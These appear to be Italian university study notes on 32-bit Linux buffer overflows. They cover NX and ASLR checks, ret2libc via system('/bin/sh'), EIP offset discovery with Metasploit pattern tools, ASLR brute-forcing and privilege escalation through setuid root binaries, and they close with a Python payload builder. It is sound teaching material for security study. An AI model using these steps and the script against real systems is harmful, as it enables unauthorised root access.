VDSI - Buffer Overflow

Table of Contents

NX abilitato? (codice nello stack non eseguibile)

C'è sia a livello normale che a livello kernel. Per vedere se è abilitato a livello kernel eseguire

```
dmesg | grep NX
```

ASLR (Address Space Layout Randomization)

0 se disabilitato; 1 se tutto randomizzato ma il segmento dati è subito dopo il segmento codice eseguibile; 2 se è tutto randomizzato (default)

```
cat /proc/sys/kernel/randomize_va_space
```

NX bypass

Lo stack non è più eseguibile, ma possiamo vedere le aree di memoria eseguibili dei processi e sfruttarle:

```
cat /proc/PID/maps
```

In realtà, quella che ci interessa è la **libreria libc**, che ovviamente è eseguibile: **/lib/i386-linux-gnu/libc-2.19.so.**

In particolare, useremo l'API **system()**, dovremo fargliela eseguire con il parametro "/bin/sh". Dobbiamo mettere un parametro per system() sullo stack.

Oltre alla system(), si possono usare le funzioni della famiglia **exec** (e.g. **execve()**, ma richiedono più parametri della system).

Bisogna cambiare un indirizzo di ritorno e farlo puntare alla system!

ret2libc

Bisogna seguire i seguenti passi:

1. Calcolare l'offset fino a EIP (instruction pointer)
2. Riempire il buffer fino all'indirizzo di ritorno
3. Cambiare l'indirizzo di ritorno (sovrascrivere EIP) con l'indirizzo della system()
4. Mettere il parametro "/bin/sh" sullo stack per la chiamata

Find system() address and "/bin/sh\x00"

Fanno parte entrambi della libreria **libc**. Per trovare l'indirizzo di base della libc, usare **ldd**

```
ldd <executable file>
```

Trova il path della libc e l'indirizzo di base.

Per cercare gli offset di system() e di "/bin/sh":

```
// output offset nella seconda colonna
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system

// prima colonna offset
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
```

system() = libc_base + 0x3ab40 "/bin/sh\x00" = libc_base + 0x15cdc8

build the shellcode:

1. Junk bytes fino ad EIP (non il byte nullo, e.g "AAAA")
2. EIP -> system() address
3. Dopo mettiamo l'indirizzo di ritorno dalla system() -> possiamo metterlo alla exit(), così termina senza crashare.
4. Parametro per la system() -> indirizzo di "/bin/sh"

Endianess

ATTENZIONE: Linux è LITTLE ENDIAN, bisogna scrivere i bytes al contrario:

```
0xabcdef12 --> "\x12\xef\xcd\xab" (in Python)
```

Find EIP address

Se mandiamo il programma in segmentation fault, poi possiamo vedere il log del kernel con:

```
sudo dmesg
```

Abbiamo bisogno di creare un **pattern non ripetibile**. Possiamo farlo con il comando **msf-pattern_create** (ad esempio lungo 100 caratteri):

```
msf-pattern_create -l 100
```

In questo modo, vedendo l'indirizzo a cui è saltato il programma e che lo ha fatto crashare, possiamo individuare la parte del pattern che ha superato il buffer. Lo vediamo sempre facendo:

```
sudo dmesg
```

Supponiamo che l'indirizzo che lo ha fatto crashare sia 41346341, allora possiamo trovare l'offset di EIP con **msf-pattern_offset**:

```
msf-pattern_offset -q 41346341
```

tricks

Occhio ai bytes che possono rompere le stringhe! **"\x00"**: byte nullo, terminatore di stringa **"\x20"**: carattere SPAZIO, può spezzare la stringa in due

Se capita che l'indirizzo della system o della stringa parametro terminano con uno di questi, provare con numeri esadecimali adiacenti. In particolare, provare a sommare "\x05".

Come fare se ASLR abilitato?

Runnare più volte **ldd** e vedere l'indirizzo più probabile o sceglierne uno a caso. Costruire l'exploit basandosi su quello e poi runnare l'exploit in un ciclo (4096 dovrebbe andar bene). Prima o poi capiterà che la libc verrà caricata all'indirizzo scelto per l'exploit.

Spesso si può impallare, re-runnare e prima o poi uscirà una shell!

Controllare che NX per il file sia abilitato e che le canaries no

Usare il programma **checksec**:

```
checksec --file=./<vulnerable_executable>
```

Trick stdin aperto

Può capitare che lanciando l'exploit si riesca ad ottenere una shell ma subito si chiude, senza potervi interagire. Questo è possibile poiché si aspetta di trovare lo stdin aperto, quando in realtà è chiuso. Ciò è molto probabile per stack overflows su programmi che richiedono un input da standard input anziché come parametro da command line.

Per far mantenere lo stdin aperto, possiamo sfruttare:

```
cat -
```

In pratica, scrivere lo shellcode su un file (e.g. **payload**) e poi eseguire:

```
cat payload - | ./<vulnerable_executable>
```

Il trucco è il **TRATTINO -** !!!.

Quali file sono utili per fare privilege escalation

File **posseduti da root** e con il permesso di **setuid** abilitato!

Python script

```
#!/usr/bin/python3

# find it with segfault and msf-pattern_offset -q <addres causing segfault>
eip_offset = 140

libc_base = 0xf7dd8000

bin_sh_offset = 0x0018f352
system_offset = 0x00045420
exit_offset = 0x00037f80

bin_sh_addr = hex(libc_base + bin_sh_offset)
system_addr = hex(libc_base + system_offset)
exit_addr = hex(libc_base + exit_offset)

# 0xf7f67352
print("/bin/sh address: " + bin_sh_addr)
```

```
# 0xf7e1d420
print("system() address: "+ system_addr)

# 0xf7e0ff80
print("exit() address: " + exit_addr)


# change \x20 with \x25 if it creates problems with the exploit
little_endian_bin_sh = "\x52\x73\xf6\xf7"
little_endian_system = "\x20\xd4\xe1\xf7"
little_endian_exit = "\x80\xff\xe0\xf7"


print("A"*eip_offset + little_endian_system + "CCCC" +
little_endian_bin_sh)
```